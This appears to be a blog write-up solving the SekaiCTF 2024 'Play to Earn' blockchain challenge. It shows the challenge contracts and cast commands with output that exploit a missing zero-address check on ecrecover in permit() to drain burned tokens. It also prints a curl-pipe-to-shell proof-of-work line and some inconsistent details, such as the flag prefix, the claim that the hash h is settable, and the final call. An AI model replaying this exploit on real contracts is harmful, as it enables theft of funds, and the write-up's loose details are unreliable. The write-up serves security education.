Post

SekaiCTF 2024 - Writeups

This is a writeup for a blockchain challenge from SekaiCTF 2024. I created this writeup to commemorate team M53’s second IRL CTF session and also my first time doing blockchain CTF challenges. With the help from @Trailbl4z3r, we managed to solve a blockchain challenge together.

Play to Earn [Blockchain]

Question: You can buy coins. Of course, you can exchange it back to cash at the original purchase price if there is any left after playing :)

Flag: CSCTF{y0u_un-qu4rant1n3d_my_scr1Pt!_0x91a3edff6}

Contracts

We were given 3 contracts for this challenge:

  1. Setup.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pragma solidity 0.8.25;

import {Coin} from "./Coin.sol";
import {ArcadeMachine} from "./ArcadeMachine.sol";

contract Setup {
    Coin public coin;
    ArcadeMachine public arcadeMachine;

    address player;

    constructor() payable {
        coin = new Coin();
        arcadeMachine = new ArcadeMachine(coin);

        // Assume that many people have played before you ;)
        require(msg.value == 20 ether);
        coin.deposit{value: 20 ether}();
        coin.approve(address(arcadeMachine), 19 ether);
        arcadeMachine.play(19);
    }

    function register() external {
        require(player == address(0));
        player = msg.sender;
        coin.transfer(msg.sender, 1337); // free coins for new players :)
    }

    function isSolved() external view returns (bool) {
        return player != address(0) && player.balance >= 13.37 ether;
    }
}

The Setup.sol contract is responsible for initializing the game environment in the Play to Earn challenge. It deploys the Coin and ArcadeMachine contracts and sets up the game’s essential components.

  • constructor() is where state variables of a contract are initialized, in this case, the contract deposits 20 ether worth of Coin tokens and allows the ArcadeMachine to burn 19 ether.
  • register() is where players register themselves to receive 1337 free coins.
  • isSolved() is where the solve condition must be met (player balance must be at least 13.37 ether).
  1. ArcadeMachine.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pragma solidity 0.8.25;

import {Coin} from "./Coin.sol";

contract ArcadeMachine {
    Coin coin;

    constructor(Coin _coin) {
        coin = _coin;
    }

    function play(uint256 times) external {
        // burn the coins
        require(coin.transferFrom(msg.sender, address(0), 1 ether * times));
        // Have fun XD
    }
}

The ArcadeMachine contract allows players to burn any amount of coins.

  • play() is where the player can burn a specified amount of coins from the player’s address to address(0), hence permanently removing the tokens from circulation. This also means that address(0) most likely has a huge amounts of ether stored in the blockchain.
  1. Coin.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
pragma solidity 0.8.25;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";

contract Coin is Ownable, EIP712 {
    string public constant name = "COIN";
    string public constant symbol = "COIN";
    uint8 public constant decimals = 18;
    bytes32 constant PERMIT_TYPEHASH =
        keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");

    event Approval(address indexed src, address indexed guy, uint256 wad);
    event Transfer(address indexed src, address indexed dst, uint256 wad);
    event Deposit(address indexed dst, uint256 wad);
    event Withdrawal(address indexed src, uint256 wad);
    event PrivilegedWithdrawal(address indexed src, uint256 wad);

    mapping(address => uint256) public nonces;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor() Ownable(msg.sender) EIP712(name, "1") {}

    fallback() external payable {
        deposit();
    }

    function deposit() public payable {
        balanceOf[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw(uint256 wad) external {
        require(balanceOf[msg.sender] >= wad);
        balanceOf[msg.sender] -= wad;
        payable(msg.sender).transfer(wad);
        emit Withdrawal(msg.sender, wad);
    }

    function privilegedWithdraw() external onlyOwner {
        uint256 wad = balanceOf[address(0)];
        balanceOf[address(0)] = 0;
        payable(msg.sender).transfer(wad);
        emit PrivilegedWithdrawal(msg.sender, wad);
    }

    function totalSupply() public view returns (uint256) {
        return address(this).balance;
    }

    function approve(address guy, uint256 wad) public returns (bool) {
        allowance[msg.sender][guy] = wad;
        emit Approval(msg.sender, guy, wad);
        return true;
    }

    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s)
        external
    {
        require(block.timestamp <= deadline, "signature expired");
        bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline));
        bytes32 h = _hashTypedDataV4(structHash);
        address signer = ecrecover(h, v, r, s);
        require(signer == owner, "invalid signer");
        allowance[owner][spender] = value;
        emit Approval(owner, spender, value);
    }

    function transfer(address dst, uint256 wad) public returns (bool) {
        return transferFrom(msg.sender, dst, wad);
    }

    function transferFrom(address src, address dst, uint256 wad) public returns (bool) {
        require(balanceOf[src] >= wad);

        if (src != msg.sender && allowance[src][msg.sender] != type(uint256).max) {
            require(allowance[src][msg.sender] >= wad);
            allowance[src][msg.sender] -= wad;
        }

        balanceOf[src] -= wad;
        balanceOf[dst] += wad;

        emit Transfer(src, dst, wad);

        return true;
    }
}

The Coin.sol contract contains the vulnerability to solve the challenge.

  • deposit() and withdraw() is where players can deposit and withdraw ether.
  • permit() is where the contract allows off-chain approvals using signatures, in this case the signature signer must be equal to owner, allowing a third party to spend tokens on behalf of the token owner without needing on-chain approval.
  • transfer() is where the movement of funds between accounts are facilitated, either by the owner directly or via an approved spender using transferFrom().
  • transferFrom() is where a third party is enabled to transfer tokens on behalf of the owner, provided they have been granted an allowance through the approve or permit functions.
  • privilegedWithdraw() allows the contract owner to reclaim ether sent to address(0), basically burning tokens.

Exploit

Analyzing the contracts, it seems that the strategy to exploit the challenge was to take advantage of several vulnerabilities in the Coin contract, specifically how the permit() and transferFrom() handle permissions. Essentially, a common exploitable function can be identified on permit(), known as ecrecover. In Ethereum, the ecrecover function is used to verify signatures. It is a pre-compiled contract that performs public key recovery for elliptic curve cryptography. This means it can recover a public key (address) from a given signature. Ref

1
2
3
4
5
6
7
8
9
10
11
    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s)
        external
    {
        require(block.timestamp <= deadline, "signature expired");
        bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline));
        bytes32 h = _hashTypedDataV4(structHash);
        address signer = ecrecover(h, v, r, s);
        require(signer == owner, "invalid signer");
        allowance[owner][spender] = value;
        emit Approval(owner, spender, value);
    }

Hence, a manipulated signature can be forged by setting the h, v, r and s values to 0. When these values are zero, the ecrecover function will return address(0), effectively making the signer’s address equal to address(0). Because there is no zero-address check on results of the ecrecover function, any invalid signatures can be used to grant unauthorized permission. By converting the player address to address(0), the player essentially becomes the owner of address(0), thus having access the the ether stored in it.

Solve

First thing was to obviously launch the blockchain challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~]
└─$ ncat --ssl play-to-earn.chals.sekai.team 1337
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
curl -sSfL https://pwn.red/pow | sh -s s.AAATiA==.yz7iVDxkHRM0cnRfk3zzEg==
solution please: s.D7Jf5uX4W0LaNB476ny4YySVa30J3v4MxWDj0piHSCi+D4PAuTBLQnUy5fUESKdncgFy4egXg6NoMsl70jpt68MvNr9UDfa+BRLaXi+a6W38Z4LXJ0xMUO+mRYlIBHdiJgYYcFb0EKJQGP+292MMQLzv3zyG5FEU5bNEKP20VR3edwWUeibtPki7Wdy1oEXEkdbAX3qLb6mdcc3B5TM5JA==

your private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid:           6de96978-d11e-48b2-9a76-522601cba4ca
rpc endpoint:   https://play-to-earn.chals.sekai.team/6de96978-d11e-48b2-9a76-522601cba4ca
private key:    0x40ca82519977d5bce4e95d693e7d28d14bfe49fb9cfa93328fddfa57a331e211
your address:   0x575b41335eB9242c6A97422C213F909166FB46F8
setup contract: 0x7984B5f64B55A0C802b6A2C81A183d1971f8fBB8

After setting up the environment, we must call the registry function to create a setup address (0xfd9c64441ba433ee204ac0da0bdfe85f58c32cbe).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~]
└─$ cast send --rpc-url https://play-to-earn.chals.sekai.team/6de96978-d11e-48b2-9a76-522601cba4ca --private-key 0x40ca82519977d5bce4e95d693e7d28d14bfe49fb9cfa93328fddfa57a331e211  0x7984B5f64B55A0C802b6A2C81A183d1971f8fBB8 "register()"

blockHash               0x1eefc46fdf882850c0c086db4bf9a080b0c13bc9a5d75525b3aab2be0d3acaaa
blockNumber             3
contractAddress         
cumulativeGasUsed       78672
effectiveGasPrice       1
from                    0x575b41335eB9242c6A97422C213F909166FB46F8
gasUsed                 78672
logs                    [{"address":"0xfd9c64441ba433ee204ac0da0bdfe85f58c32cbe","topics":["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x0000000000000000000000007984b5f64b55a0c802b6a2c81a183d1971f8fbb8","0x000000000000000000000000575b41335eb9242c6a97422c213f909166fb46f8"],"data":"0x0000000000000000000000000000000000000000000000000000000000000539","blockHash":"0x1eefc46fdf882850c0c086db4bf9a080b0c13bc9a5d75525b3aab2be0d3acaaa","blockNumber":"0x3","blockTimestamp":"0x66cdc888","transactionHash":"0x2c1f6da5bb182aa0f09e3e70bdd5a82646934d7d47fcf294285f1499c0262c7b","transactionIndex":"0x0","logIndex":"0x0","removed":false}]
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000008000000000000000000000000000000000000000000400000000000000000002000000000000040000000000000000011000100000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004004
root                    0x86d48b9754d7c93c67be993cdee5dcc609eee567d77f993d4ae07c5daff92cf6
status                  1 (success)
transactionHash         0x2c1f6da5bb182aa0f09e3e70bdd5a82646934d7d47fcf294285f1499c0262c7b
transactionIndex        0
type                    2
blobGasPrice            1
blobGasUsed             
authorizationList       
to                      0x7984B5f64B55A0C802b6A2C81A183d1971f8fBB8

As mentioned previously, the exploit can be performed by setting each value in the ecrecover function to 0s. Doing so grants the attacker a manipulated signature.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~]
└─$ cast send --rpc-url https://play-to-earn.chals.sekai.team/6de96978-d11e-48b2-9a76-522601cba4ca --private-key 0x40ca82519977d5bce4e95d693e7d28d14bfe49fb9cfa93328fddfa57a331e211 0xfd9c64441ba433ee204ac0da0bdfe85f58c32cbe "permit(address, address, uint256, uint256, uint8, bytes32, bytes32)" 0x0000000000000000000000000000000000000000 0x575b41335eB9242c6A97422C213F909166FB46F8 15999999999999999900 0x96cdc888 0 0x0000000000000000000000000000000000000000000000000000000000000000 0x0000000000000000000000000000000000000000000000000000000000000000

blockHash               0xfb6b169e253bbf1b62d0f26780471dc7e41083b13e165e99b53705463d010937
blockNumber             4
contractAddress         
cumulativeGasUsed       73310
effectiveGasPrice       1
from                    0x575b41335eB9242c6A97422C213F909166FB46F8
gasUsed                 73310
logs                    [{"address":"0xfd9c64441ba433ee204ac0da0bdfe85f58c32cbe","topics":["0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000575b41335eb9242c6a97422c213f909166fb46f8"],"data":"0x000000000000000000000000000000000000000000000000de0b6b3a763fff9c","blockHash":"0xfb6b169e253bbf1b62d0f26780471dc7e41083b13e165e99b53705463d010937","blockNumber":"0x4","blockTimestamp":"0x66cdc8e5","transactionHash":"0xadbe41db5f004e367e8f73647010532c638451ba2af842177d311d0d72053ca2","transactionIndex":"0x0","logIndex":"0x0","removed":false}]
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000400000020000000000002000000800000040000000000000000001000100000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000010000000000000000000000000000000000000000000000000000000000004
root                    0xb319799ebd94af34173fb55686f2bc4764f1d38095c81328e8b60a53544b7c25
status                  1 (success)
transactionHash         0xadbe41db5f004e367e8f73647010532c638451ba2af842177d311d0d72053ca2
transactionIndex        0
type                    2
blobGasPrice            1
blobGasUsed             
authorizationList       
to                      0xfD9C64441bA433ee204AC0dA0BDfe85f58C32cbe

Being the owner of address(0), the attacker is able to transfer all the ether from it to their own address. Following this, the attacker calls the withdraw function to extract the ether into their own wallet.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(kali㉿kali)-[~]
└─$ cast send --rpc-url https://play-to-earn.chals.sekai.team/6de96978-d11e-48b2-9a76-522601cba4ca --private-key 0x40ca82519977d5bce4e95d693e7d28d14bfe49fb9cfa93328fddfa57a331e211 0xfd9c64441ba433ee204ac0da0bdfe85f58c32cbe "transferFrom(address, address, uint)" 0x0000000000000000000000000000000000000000 0x575b41335eB9242c6A97422C213F909166FB46F8 15999999999999999900

blockHash               0x4e10e4add4d0c2b563a958eade27824837f5befb8a018455e398c485dd204b16
blockNumber             5
contractAddress         
cumulativeGasUsed       35910
effectiveGasPrice       1
from                    0x575b41335eB9242c6A97422C213F909166FB46F8
gasUsed                 35910
logs                    [{"address":"0xfd9c64441ba433ee204ac0da0bdfe85f58c32cbe","topics":["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000575b41335eb9242c6a97422c213f909166fb46f8"],"data":"0x000000000000000000000000000000000000000000000000de0b6b3a763fff9c","blockHash":"0x4e10e4add4d0c2b563a958eade27824837f5befb8a018455e398c485dd204b16","blockNumber":"0x5","blockTimestamp":"0x66cdc918","transactionHash":"0xff53cec30e76e0ca07907611f7d970f4ce2e1220309ce4a8e557122ddb22a910","transactionIndex":"0x0","logIndex":"0x0","removed":false}]
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000400000020000000000002000000800000040000000000000000011000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000004
root                    0x3d3f659063794a887077b12bca4d0f625d376683f0b1cc6280e7c0769d7cb24d
status                  1 (success)
transactionHash         0xff53cec30e76e0ca07907611f7d970f4ce2e1220309ce4a8e557122ddb22a910
transactionIndex        0
type                    2
blobGasPrice            1
blobGasUsed             
authorizationList       
to                      0xfD9C64441bA433ee204AC0dA0BDfe85f58C32cbe
                                                                                                                                                                                                                     
┌──(kali㉿kali)-[~]
└─$ cast send --rpc-url https://play-to-earn.chals.sekai.team/6de96978-d11e-48b2-9a76-522601cba4ca --private-key 0x40ca82519977d5bce4e95d693e7d28d14bfe49fb9cfa93328fddfa57a331e211 0xfd9c64441ba433ee204ac0da0bdfe85f58c32cbe "withdraw(uint)" 15999999999999999900

blockHash               0xd9a1347d4931fb219a280afb38c99c114cdb03acde45a9f8dbddac0a35dbfbe9
blockNumber             6
contractAddress         
cumulativeGasUsed       35223
effectiveGasPrice       1
from                    0x575b41335eB9242c6A97422C213F909166FB46F8
gasUsed                 35223
logs                    [{"address":"0xfd9c64441ba433ee204ac0da0bdfe85f58c32cbe","topics":["0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65","0x000000000000000000000000575b41335eb9242c6a97422c213f909166fb46f8"],"data":"0x000000000000000000000000000000000000000000000000de0b6b3a763fff9c","blockHash":"0xd9a1347d4931fb219a280afb38c99c114cdb03acde45a9f8dbddac0a35dbfbe9","blockNumber":"0x6","blockTimestamp":"0x66cdc953","transactionHash":"0x6d256612f0298567db18fb41a81c6212aad449ca969e63c057be08ba85fef56f","transactionIndex":"0x0","logIndex":"0x0","removed":false}]
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000400000000000000000002000000000000040000000040000000001000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000004
root                    0xb613e4747a6f62a2282729fc152a4c3ba76c3ceec975c2d5a234bbce07cec16e
status                  1 (success)
transactionHash         0x6d256612f0298567db18fb41a81c6212aad449ca969e63c057be08ba85fef56f
transactionIndex        0
type                    2
blobGasPrice            1
blobGasUsed             
authorizationList       
to                      0xfD9C64441bA433ee204AC0dA0BDfe85f58C32cbe

Finally, the flag can be obtained after calling the isSolved function since the condition is met.

1
2
3
4
5
┌──(kali㉿kali)-[~]
└─$ cast call --rpc-url https://play-to-earn.chals.sekai.team/6de96978-d11e-48b2-9a76-522601cba4ca 0x575b41335eB9242c6A97422C213F909166FB46F8 "isSolved()"
0x

check balance: cast balance --rpc-url https://play-to-earn.chals.sekai.team/6de96978-d11e-48b2-9a76-522601cba4ca 0x575b41335eB9242c6A97422C213F909166FB46F8
This post is licensed under CC BY 4.0 by the author.